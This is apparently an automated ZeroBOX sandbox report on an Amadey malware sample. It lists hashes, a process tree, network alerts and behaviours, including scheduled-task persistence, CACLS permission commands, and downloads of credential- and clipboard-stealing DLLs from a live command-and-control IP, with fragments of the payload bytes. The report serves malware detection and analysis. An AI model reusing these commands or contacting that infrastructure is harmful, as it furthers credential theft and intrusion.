Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	May 17, 2023, 9:31 a.m.	May 17, 2023, 9:33 a.m.

Size	211.5KB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`13c6b003e4cd8319299a50a51e14a222`
SHA256	`28f5e5e43a67a48c6a41f9814a50b6faf5d20dfee6b17e867429efca82394681`
CRC32	`A8C8C3B9`
ssdeep	`6144:tWh1VL9EWeJanEYL7OuuT7Ujz41FiPRL:tg1VdSYL3uT7e0KF`
PDB Path	D:\Mktmp\Amadey\Release\Amadey.pdb
Yara	UPX_Zero - UPX packed file OS_Processor_Check_Zero - OS Processor Check Malicious_Library_Zero - Malicious_Library PE_Header_Zero - PE File Signature IsPE32 - (no description) Malicious_Packer_Zero - Malicious Packer

csrsv.exe "C:\Users\test22\AppData\Local\Temp\csrsv.exe"
3044
- oneetx.exe "C:\Users\test22\AppData\Local\Temp\6fd2e6071d\oneetx.exe"
  1184
  - schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\6fd2e6071d\oneetx.exe" /F
    2380
  - cmd.exe "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "oneetx.exe" /P "test22:N"&&CACLS "oneetx.exe" /P "test22:R" /E&&echo Y|CACLS "..\6fd2e6071d" /P "test22:N"&&CACLS "..\6fd2e6071d" /P "test22:R" /E&&Exit
    2424
    - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
      1628
    - cacls.exe CACLS "oneetx.exe" /P "test22:N"
      2524
    - cacls.exe CACLS "oneetx.exe" /P "test22:R" /E
      508
    - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
      1968
    - cacls.exe CACLS "..\6fd2e6071d" /P "test22:N"
      2548
    - cacls.exe CACLS "..\6fd2e6071d" /P "test22:R" /E
      2660
  - rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Roaming\27d75989acd3e0\cred64.dll, Main
    996
    - rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Roaming\27d75989acd3e0\cred64.dll, Main
      2636
  - rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Roaming\27d75989acd3e0\clip64.dll, Main
    2484
explorer.exe C:\Windows\Explorer.EXE
1236

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
164.124.101.2	Active	Moloch
95.214.26.53	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.102:49173 -> 95.214.26.53:80	2027700	ET MALWARE Amadey CnC Check-In	Malware Command and Control Activity Detected
TCP 192.168.56.102:49177 -> 95.214.26.53:80	2027250	ET INFO Dotted Quad Host DLL Request	Potentially Bad Traffic
TCP 95.214.26.53:80 -> 192.168.56.102:49177	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 95.214.26.53:80 -> 192.168.56.102:49177	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 192.168.56.102:49177 -> 95.214.26.53:80	2027250	ET INFO Dotted Quad Host DLL Request	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Queries for the computername (2 events)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameW May 17, 2023, 9:31 a.m.	computer_name: TEST22-PC	1	1	0
GetComputerNameA May 17, 2023, 9:32 a.m.	computer_name: TEST22-PC	1	1	0

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent May 17, 2023, 9:32 a.m.			0	0
IsDebuggerPresent May 17, 2023, 9:32 a.m.			0	0

Command line console output was observed (50 out of 79 events)

Time & API	Arguments	Status	Return
WriteConsoleW May 17, 2023, 9:31 a.m.	buffer: SUCCESS: The scheduled task "oneetx.exe" has successfully been created. console_handle: 0x00000007	1	1
WriteConsoleA May 17, 2023, 9:31 a.m.	buffer: A console_handle: 0x00000007	1	1
WriteConsoleA May 17, 2023, 9:31 a.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA May 17, 2023, 9:31 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA May 17, 2023, 9:31 a.m.	buffer: y console_handle: 0x00000007	1	1
WriteConsoleA May 17, 2023, 9:31 a.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA May 17, 2023, 9:31 a.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA May 17, 2023, 9:31 a.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA May 17, 2023, 9:31 a.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA May 17, 2023, 9:31 a.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA May 17, 2023, 9:31 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA May 17, 2023, 9:31 a.m.	buffer: Y console_handle: 0x00000007	1	1
WriteConsoleA May 17, 2023, 9:31 a.m.	buffer: N console_handle: 0x00000007	1	1
WriteConsoleA May 17, 2023, 9:31 a.m.	buffer: p console_handle: 0x00000007	1	1
WriteConsoleA May 17, 2023, 9:31 a.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA May 17, 2023, 9:31 a.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA May 17, 2023, 9:31 a.m.	buffer: c console_handle: 0x00000007	1	1
WriteConsoleA May 17, 2023, 9:31 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA May 17, 2023, 9:31 a.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA May 17, 2023, 9:31 a.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA May 17, 2023, 9:31 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA May 17, 2023, 9:31 a.m.	buffer: d console_handle: 0x00000007	1	1
WriteConsoleA May 17, 2023, 9:31 a.m.	buffer: f console_handle: 0x00000007	1	1
WriteConsoleA May 17, 2023, 9:31 a.m.	buffer: i console_handle: 0x00000007	1	1
WriteConsoleA May 17, 2023, 9:31 a.m.	buffer: l console_handle: 0x00000007	1	1
WriteConsoleA May 17, 2023, 9:31 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleW May 17, 2023, 9:31 a.m.	buffer: C:\Users\test22\AppData\Local\Temp\6fd2e6071d\oneetx.exe console_handle: 0x00000007	1	1
WriteConsoleA May 17, 2023, 9:31 a.m.	buffer: p console_handle: 0x00000007	1	1
WriteConsoleA May 17, 2023, 9:31 a.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA May 17, 2023, 9:31 a.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA May 17, 2023, 9:31 a.m.	buffer: c console_handle: 0x00000007	1	1
WriteConsoleA May 17, 2023, 9:31 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA May 17, 2023, 9:31 a.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA May 17, 2023, 9:31 a.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA May 17, 2023, 9:31 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA May 17, 2023, 9:31 a.m.	buffer: d console_handle: 0x00000007	1	1
WriteConsoleA May 17, 2023, 9:31 a.m.	buffer: f console_handle: 0x00000007	1	1
WriteConsoleA May 17, 2023, 9:31 a.m.	buffer: i console_handle: 0x00000007	1	1
WriteConsoleA May 17, 2023, 9:31 a.m.	buffer: l console_handle: 0x00000007	1	1
WriteConsoleA May 17, 2023, 9:31 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleW May 17, 2023, 9:31 a.m.	buffer: C:\Users\test22\AppData\Local\Temp\6fd2e6071d\oneetx.exe console_handle: 0x00000007	1	1
WriteConsoleA May 17, 2023, 9:31 a.m.	buffer: A console_handle: 0x00000007	1	1
WriteConsoleA May 17, 2023, 9:31 a.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA May 17, 2023, 9:31 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA May 17, 2023, 9:31 a.m.	buffer: y console_handle: 0x00000007	1	1
WriteConsoleA May 17, 2023, 9:31 a.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA May 17, 2023, 9:31 a.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA May 17, 2023, 9:31 a.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA May 17, 2023, 9:31 a.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA May 17, 2023, 9:31 a.m.	buffer: r console_handle: 0x00000007	1	1

This executable has a PDB path (1 event)

pdb_path

D:\Mktmp\Amadey\Release\Amadey.pdb

Tries to locate where the browsers are installed (2 events)

file	C:\Program Files\Mozilla Firefox\firefox.exe
registry	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\firefox.exe

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx May 17, 2023, 9:31 a.m.		1	1	0

One or more processes crashed (1 event)

Time & API	Arguments	Status	Return	Repeated
__exception__ May 17, 2023, 9:32 a.m.	stacktrace: Save+0x8d733 Main-0x1478d cred64+0x91b73 @ 0x7fef2b51b73 Save+0x8f34b Main-0x12b75 cred64+0x9378b @ 0x7fef2b5378b Save+0x903d3 Main-0x11aed cred64+0x94813 @ 0x7fef2b54813 Save+0x9077f Main-0x11741 cred64+0x94bbf @ 0x7fef2b54bbf Save+0xa18a8 Main-0x618 cred64+0xa5ce8 @ 0x7fef2b65ce8 Main+0x65 cred64+0xa6365 @ 0x7fef2b66365 rundll32+0x2f42 @ 0xff312f42 rundll32+0x3b7a @ 0xff313b7a BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x7718652d RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x772bc521 exception.instruction_r: 42 38 3c 00 75 f7 48 8b d0 48 8d 4c 24 50 e8 fa exception.instruction: cmp byte ptr [rax + r8], dil exception.exception_code: 0xc0000005 exception.symbol: Save+0x8d733 Main-0x1478d cred64+0x91b73 exception.address: 0x7fef2b51b73 registers.r14: 0 registers.r15: 0 registers.rcx: 1099511627775 registers.rsi: 0 registers.r10: 17 registers.rbx: 0 registers.rsp: 1374720 registers.r11: 1369616 registers.r8: 0 registers.r9: 257711013897 registers.rdx: 3454000 registers.r12: 0 registers.rbp: 0 registers.rdi: 0 registers.rax: 1 registers.r13: 0	1	0	0

HTTP traffic contains suspicious features which may be indicative of malware related traffic (4 events)

suspicious_features	POST method with no referer header, POST method with no useragent header, Connection to IP address	suspicious_request	POST http://95.214.26.53/J84hHFuefh2/index.php?scr=1
suspicious_features	POST method with no referer header, POST method with no useragent header, Connection to IP address	suspicious_request	POST http://95.214.26.53/J84hHFuefh2/index.php
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://95.214.26.53/J84hHFuefh2/Plugins/cred64.dll
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://95.214.26.53/J84hHFuefh2/Plugins/clip64.dll

Performs some HTTP requests (4 events)

request	POST http://95.214.26.53/J84hHFuefh2/index.php?scr=1
request	POST http://95.214.26.53/J84hHFuefh2/index.php
request	GET http://95.214.26.53/J84hHFuefh2/Plugins/cred64.dll
request	GET http://95.214.26.53/J84hHFuefh2/Plugins/clip64.dll

Sends data using the HTTP POST Method (2 events)

request	POST http://95.214.26.53/J84hHFuefh2/index.php?scr=1
request	POST http://95.214.26.53/J84hHFuefh2/index.php

Allocates read-write-execute memory (usually to unpack itself) (12 events)

Time & API	Arguments	Status
NtProtectVirtualMemory May 17, 2023, 9:31 a.m.	process_identifier: 3044 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f62000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 17, 2023, 9:31 a.m.	process_identifier: 3044 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00c10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 17, 2023, 9:25 a.m.	process_identifier: 1236 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000007390000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory May 17, 2023, 9:31 a.m.	process_identifier: 1184 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73d62000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 17, 2023, 9:32 a.m.	process_identifier: 2636 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefa1b7000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory May 17, 2023, 9:32 a.m.	process_identifier: 2484 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7398f000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 17, 2023, 9:32 a.m.	process_identifier: 2484 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x746a0000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 17, 2023, 9:32 a.m.	process_identifier: 2484 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73d61000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 17, 2023, 9:32 a.m.	process_identifier: 2484 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73cd1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 17, 2023, 9:32 a.m.	process_identifier: 2484 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73c21000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 17, 2023, 9:32 a.m.	process_identifier: 2484 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73d62000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 17, 2023, 9:32 a.m.	process_identifier: 2484 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x739a1000 process_handle: 0xffffffff	1

A process attempted to delay the analysis task. (1 event)

description

oneetx.exe tried to sleep 141 seconds, actually delayed analysis time by 141 seconds

Creates executable files on the filesystem (2 events)

file	C:\Users\test22\AppData\Roaming\27d75989acd3e0\clip64.dll
file	C:\Users\test22\AppData\Roaming\27d75989acd3e0\cred64.dll

Creates a suspicious process (4 events)

cmdline	"C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "oneetx.exe" /P "test22:N"&&CACLS "oneetx.exe" /P "test22:R" /E&&echo Y\|CACLS "..\6fd2e6071d" /P "test22:N"&&CACLS "..\6fd2e6071d" /P "test22:R" /E&&Exit
cmdline	C:\Windows\system32\cmd.exe /S /D /c" echo Y"
cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\6fd2e6071d\oneetx.exe" /F
cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\6fd2e6071d\oneetx.exe" /F

Drops a binary and executes it (1 event)

file	C:\Users\test22\AppData\Local\Temp\6fd2e6071d\oneetx.exe

Drops an executable to the user AppData folder (2 events)

file	C:\Users\test22\AppData\Local\Temp\6fd2e6071d\oneetx.exe
file	C:\Users\test22\AppData\Roaming\27d75989acd3e0\clip64.dll

A process created a hidden window (5 events)

Time & API	Arguments	Status	Return
ShellExecuteExW May 17, 2023, 9:31 a.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\6fd2e6071d\oneetx.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\6fd2e6071d\oneetx.exe	1	1
ShellExecuteExW May 17, 2023, 9:31 a.m.	show_type: 0 filepath_r: SCHTASKS parameters: /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\6fd2e6071d\oneetx.exe" /F filepath: SCHTASKS	1	1
ShellExecuteExW May 17, 2023, 9:31 a.m.	show_type: 0 filepath_r: cmd parameters: /k echo Y\|CACLS "oneetx.exe" /P "test22:N"&&CACLS "oneetx.exe" /P "test22:R" /E&&echo Y\|CACLS "..\6fd2e6071d" /P "test22:N"&&CACLS "..\6fd2e6071d" /P "test22:R" /E&&Exit filepath: cmd	1	1
ShellExecuteExW May 17, 2023, 9:32 a.m.	show_type: 0 filepath_r: rundll32.exe parameters: C:\Users\test22\AppData\Roaming\27d75989acd3e0\cred64.dll, Main filepath: rundll32.exe	1	1
ShellExecuteExW May 17, 2023, 9:32 a.m.	show_type: 0 filepath_r: rundll32.exe parameters: C:\Users\test22\AppData\Roaming\27d75989acd3e0\clip64.dll, Main filepath: rundll32.exe	1	1

An executable file was downloaded by the process oneetx.exe (2 events)

Time & API	Arguments	Status	Return	Repeated
InternetReadFile May 17, 2023, 9:32 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $ÕçsOÕçsOÕçsOwNÇçsOpNÞçsOvNeçsOvNçsOwNÚçsOpNÜçsOrNØçsOÕçrOiçsONzNÑçsONsNÔçsONOÔçsONqNÔçsORichÕçsOPEd)eRdð" ¾80` XøøPdÌpÝpàÝ0 À.textH `.rdataÜ0 @@.dataLuÐ<ª@À.pdatadPæ@@_RDATAð@@.rsrcø@@.relocÌ@BHì(A¸ HG»H êècl H lóHÄ(éï ÌÌÌHì(A¸ H?»H ïè3l H ¬óHÄ(éoï ÌÌÌHì(A¸H3»H ïèl H ìóHÄ(é?ï ÌÌÌHì(A¸ H»H ðêèÓk H ,ôHÄ(éï ÌÌÌHì(A¸H»H `îè£k H lôHÄ(éßî ÌÌÌHì(A¸ HïºH 0éèsk H ¬ôHÄ(é¯î ÌÌÌHì(E3ÀHÂH £îèFk H ïôHÄ(éî ÌÌÌÌÌÌHì(E3ÀHH Óîèk H /õHÄ(éRî ÌÌÌÌÌÌHì(E3ÀHbH #êèæj H oõHÄ(é"î ÌÌÌÌÌÌHì(E3ÀH2H 3èè¶j H ¯õHÄ(éòí ÌÌÌÌÌÌHì(A¸H'ºH èèj H ìõHÄ(é¿í ÌÌÌHì(A¸HºH PéèSj H ,öHÄ(éí ÌÌÌHì(A¸H÷¹H ëè#j H löHÄ(é_í ÌÌÌHì(A¸H×¹H ëèói H ¬öHÄ(é/í ÌÌÌHì(A¸H³¹H éèÃi H ìöHÄ(éÿì ÌÌÌHì(A¸H¹H Pêèi H ,÷HÄ(éÏì ÌÌÌHì(A¸Hw¹H ìèci H l÷HÄ(éì ÌÌÌHì(A¸HW¹H pìè3i H ¬÷HÄ(éoì ÌÌÌHì(A¸LH?¹H àèèi H ì÷HÄ(é?ì ÌÌÌHì(A¸H_¹H 0æèÓh H ,øHÄ(éì ÌÌÌHì(A¸dHO¹H íè£h H løHÄ(éßë ÌÌÌHì(A¸H¹H Pìèsh H ¬øHÄ(é¯ë ÌÌÌHì(A¸Ho¹H `êèCh H ìøHÄ(éë ÌÌÌHì(A¸H_¹H °åèh H ,ùHÄ(éOë ÌÌÌHì(A¸H?¹H àêèãg H lùHÄ(éë ÌÌÌHì(A¸(H¹H péè³g H ¬ùHÄ(éïê ÌÌÌHì(A¸H¹H ëèg H ìùHÄ(é¿ê ÌÌÌHì(A¸Hÿ¸H ðìèSg H ,úHÄ(éê ÌÌÌHì(A¸Hß¸H @êè#g H lúHÄ(é_ê ÌÌÌHì(A¸H¿¸H Pëèóf H ¬úHÄ(é/ê ÌÌÌHì(A¸H¯¸H çèÃf H ìúHÄ(éÿé ÌÌÌHì(A¸,H¸H Ðçèf H ,ûHÄ(éÏé ÌÌÌHì(A¸H¸H àæècf H lûHÄ(éé ÌÌÌHì(A¸H¸H 0êè3f H ¬ûHÄ(éoé ÌÌÌHì(A¸$H_¸H êèf H ìûHÄ(é?é ÌÌÌHì(A¸HW¸H °çèÓe H ,üHÄ(éé ÌÌÌHì(A¸H?¸H àâè£e H lüHÄ(éßè ÌÌÌHì(A¸H/¸H ðçèse H ¬üHÄ(é¯è ÌÌÌHì(A¸H¸H àäèCe H ìüHÄ(éè ÌÌÌHì(A¸ Hÿ·H èèe H ,ýHÄ(éOè ÌÌÌHì(A¸ H÷·H Àåèãd H lýHÄ(éè ÌÌÌHì(A¸H·H ãè³d H ¬ýHÄ(éïç ÌÌÌHì(A¸H¿·H åèd H ìýHÄ(é¿ç ÌÌÌHì(A¸H§·H pâèSd H ,þHÄ(éç ÌÌÌHì(A¸H·H Àèè#d H lþHÄ(é_ç ÌÌÌHì(A¸LH/´H Påèóc H ¬þHÄ(é/ç ÌÌÌHì(A¸H7·H @åèÃc H ìþHÄ(éÿæ ÌÌÌHì(A¸dH?´H ðåèc H ,ÿHÄ(éÏæ ÌÌÌHì(A¸Hç¶H èècc H lÿHÄ(éæ ÌÌÌHì(A¸HÏ¶H pçè3c H ¬ÿHÄ(éoæ ÌÌÌHì(A¸H·¶H åèc H ìÿHÄ(é?æ ÌÌÌHì(A¸H¶H 0âèÓb H , HÄ(éæ ÌÌÌHì(A¸Ho¶H àçè£b H l HÄ(éßå ÌÌÌHì(A¸HG¶H äèsb H ¬ HÄ(é¯å ÌÌÌHì(A¸H¶H âèCb H ì HÄ(éå ÌÌÌHì(A¸HÿµH Ðàèb H , HÄ(éOå ÌÌÌHì(A¸?H/¶H äèãa H l HÄ(éå ÌÌÌH É éå ÌÌÌÌH ) éå ÌÌÌÌH éðä ÌÌÌÌH é éàä ÌÌÌÌH I éÐä ÌÌÌÌHì(E3ÀHâH àèfa H HÄ(é¢ä ÌÌÌÌÌÌH é éä ÌÌÌÌH I éä ÌÌÌÌH © épä ÌÌÌÌH é`ä ÌÌÌÌH i éPä Hì(H ¹ïè¤í H ¹ HÄ(é0ä H µ é$ä H éä H 9 éä Hì(H Eóè`í H e HÄ(éìã ¸ÃÌÌÌÌÌÌÌÌÌÌH\$Hl$Ht$ W request_handle: 0x00cc000c	1	1	0
InternetReadFile May 17, 2023, 9:32 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $,CyáCyáCyáâ~Iyáä~Ëyáå~Qyáå~Lyáâ~Ryáä~byáà~FyáCyàyáØè~@yáØá~ByáØByáØã~ByáRichCyáPELeRdà!Þ>ð°@ J<K<øT ?p?@ð,.textVÝÞ `.rdataîaðbâ@@.dataD`D@À.rsrcøP@@.relocTR@Bj h¨<¹phè?#hêèYÃÌÌÌj8hÌ<¹hè#h`êèlYÃÌÌÌj8hÌ<¹ hèÿ"hÀêèLYÃÌÌÌj8hÌ<¹¸hèß"h ëè,YÃÌÌÌj8h=¹Ðhè¿"hëèYÃÌÌÌj0hD=¹èhè"hàëèì)YÃÌÌÌj0hx=¹iè"h@ìèÌ)YÃÌÌÌhh°=¹iè\"h ìè©)YÃj?h>¹0iè?"híè)YÃÌÌÌÁÂÌÌÌÌÌÌÌÌÌÌÌUìVñWÀFPÇñfÖEÀPèÂ2ÄÆ^]ÂÌÌÌI¸\|<ÉEÁÃÌÌUìVñFÇñPèó2ÄöEtjVè«%ÄÆ^]ÂAÇñPèÉ2YÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌWÀÁfÖAÇA<ÇìñÃÌÌÌÌÌÌÌÌUììMôèÒÿÿÿhJEôPè2ÌÌÌÌUìVñWÀFPÇñfÖEÀPèò1ÄÇìñÆ^]ÂÌÌÌÌÌÌÌÌÌÌÌÌÌUìVñWÀFPÇñfÖEÀPè²1ÄÇ ñÆ^]ÂÌÌÌÌÌÌÌÌÌÌÌÌÌUìQSZVWQSñè=h3É3À}üÛ~53Ò;ÇþEÐ=h¸phCph~r>A}üB;Ë\|Ë~r_ÆÆ^[å]Ã_ÆÆ^[å]ÃÌÌÌÌÌUììSVWòùQ}ôFPEðè3Û]ø9]ð)D~Ær¾Pè¯KÄÀu-NÆùr< tÆùrÏréÌ~Ær=@i3Ò Diÿt+EÿfD]ÿù¸0iC0i8]øtB;×ráÊÿEÈxr3Àÿt.MÿD=Di¹0i]ÿC 0i8]øt@;ÇrÝÈÿ=Di¹0iC 0iMìMôMøyr MøÏ+È 3Ò÷÷Mì}ô MøC]ø;]ðÜþÿÿrÆÇ_^[å]ÃÆÇ_^[å]ÃÌÌÌÌÌÌÌÌÌÌUìì@SVWÙòQMÄ]ôèçýÿÿEÄÖPMÜèYþÿÿhÇCÇCÆè°"Ø¹Èÿ]øûÄó«3Ò¾8>Bú@\|ðUì3ö3Û~øÒtAMø}ðEÜCEÜ¾øÿt'ÁæðÇxÏÆÓøMôPèUìïMøC;ÚrÂEøÀthPèð!ÄUðúr(MÜBÁúrIüÂ#+ÁÀüøwVRQèÀ!ÄUØÇEìÇEðÆEÜúr(MÄBÁúrIüÂ#+ÁÀüøwRQè~!ÄEô_^[å]ÃèGÌÌÌÌÌÌÌÌÌÌÌUìì4E0SVW3ÿÆEè¾À]ÇEàÇEäÆEÐ;Ç´+ÇMÐ;ÃBØ}4E CE SÇPèþr.MèVÁúrIüÂ#+ÁÀüøhRQè× ÄMÐ}Uó~EàEèCU}äuà]f~ÉMèCÁfÖEø;óu\îr; uÀÂîsïþüî: u7þýßH:Ju&þþÎH:Juþÿ½@:B±E0Guü;øõþÿÿ3ÿUþr/MèFÁþrIüÆ#+ÁÀüøVQè UÄEør'HÂùrRüÁ#+ÂÀüøw`QRèÏÄU4ÇEÇEÆEúr3M BÁúrIüÂ#+ÁÀüøwë uüGéWÿÿÿRQèÄÇ_^[å]Ãè Eè«ÌÌÌÌÌÌÌÌÌÌÌUìQS]Vñ]üWjhÀ>ÇFÇFÆèD3ÿÛ~1}ECE8S¿C ú¶È¶ÃGÈ¶ÁÎPèG;}ü\|ÏUúr(MBÁúrIüÂ#+ÁÀüøwRQèÑÄ_Æ^[å]ÃèïDÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌUìì0VWj$hÄ>MÐÇEàÇEäÆEÐèEÀu3öéÇ3ÿÀ¸ÇEøÇEüÆEè;ÇF+Ç¹;ÁBÈ}ECEQÇMèPèBìEÐÌPètìEèôìÌPèaÎèªþÿÿÄè¢üÿÿUüÄ0Àúr,MèBÁúrIüÂ#+ÁÀüø¹RQèÇÄEG;øHÿÿÿ¾Uäúr(MÐBÁúrIüÂ#+ÁÀüøwxRQèÄUúr^MBÁúrFIüÂ#+ÁÀüøwHë4úr(MèBÁúrIüÂ#+ÁÀüøw#RQè1Ä3öétÿÿÿRQè Ä_Æ^å]Ãè?CèJÌÌÌÌÌÌÌÌÌÌUìQEUMVÀS@WPè] ÄM}ØÓCM+ÑID ÿÀuóóNFÀuù+ñFVjÿðVøSWÿðPèÇ5ÄWÿðjÿñÿñWjÿñÿ ñUM_[^úr%BÁúrIüÂ#+ÁÀüøwRQèAÄå]ÃèdBÌÌÌÌUìì$SVWùjÇGÇGÆÿñÀj ÿ$ñØ]üÛlSÿðEôÀSjjjjjÿPjhéýÿððuøö.WN;ÊwOÇrÆëFGÙ+Ú+Â;Øw%ÇOrS4jVèE,ÆÄuøëQSÆEøÏÿuøSè¨]üÇrjjVPjÿÿuô request_handle: 0x00cc000c	1	1	0

Uses Windows utilities for basic Windows functionality (2 events)

cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\6fd2e6071d\oneetx.exe" /F
cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\6fd2e6071d\oneetx.exe" /F

Communicates with host for which no DNS query was performed (1 event)

host

95.214.26.53

Attempts to identify installed AV products by installation directory (7 events)

file	C:\ProgramData\AVAST Software
file	C:\ProgramData\Avira
file	C:\ProgramData\Kaspersky Lab
file	C:\ProgramData\Panda Security
file	C:\ProgramData\Bitdefender
file	C:\ProgramData\AVG
file	C:\ProgramData\Doctor Web

Installs itself for autorun at Windows startup (2 events)

cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\6fd2e6071d\oneetx.exe" /F
cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\6fd2e6071d\oneetx.exe" /F

Uses suspicious command line tools or Windows utilities (6 events)

cmdline	"C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "oneetx.exe" /P "test22:N"&&CACLS "oneetx.exe" /P "test22:R" /E&&echo Y\|CACLS "..\6fd2e6071d" /P "test22:N"&&CACLS "..\6fd2e6071d" /P "test22:R" /E&&Exit
cmdline	CACLS "..\6fd2e6071d" /P "test22:N"
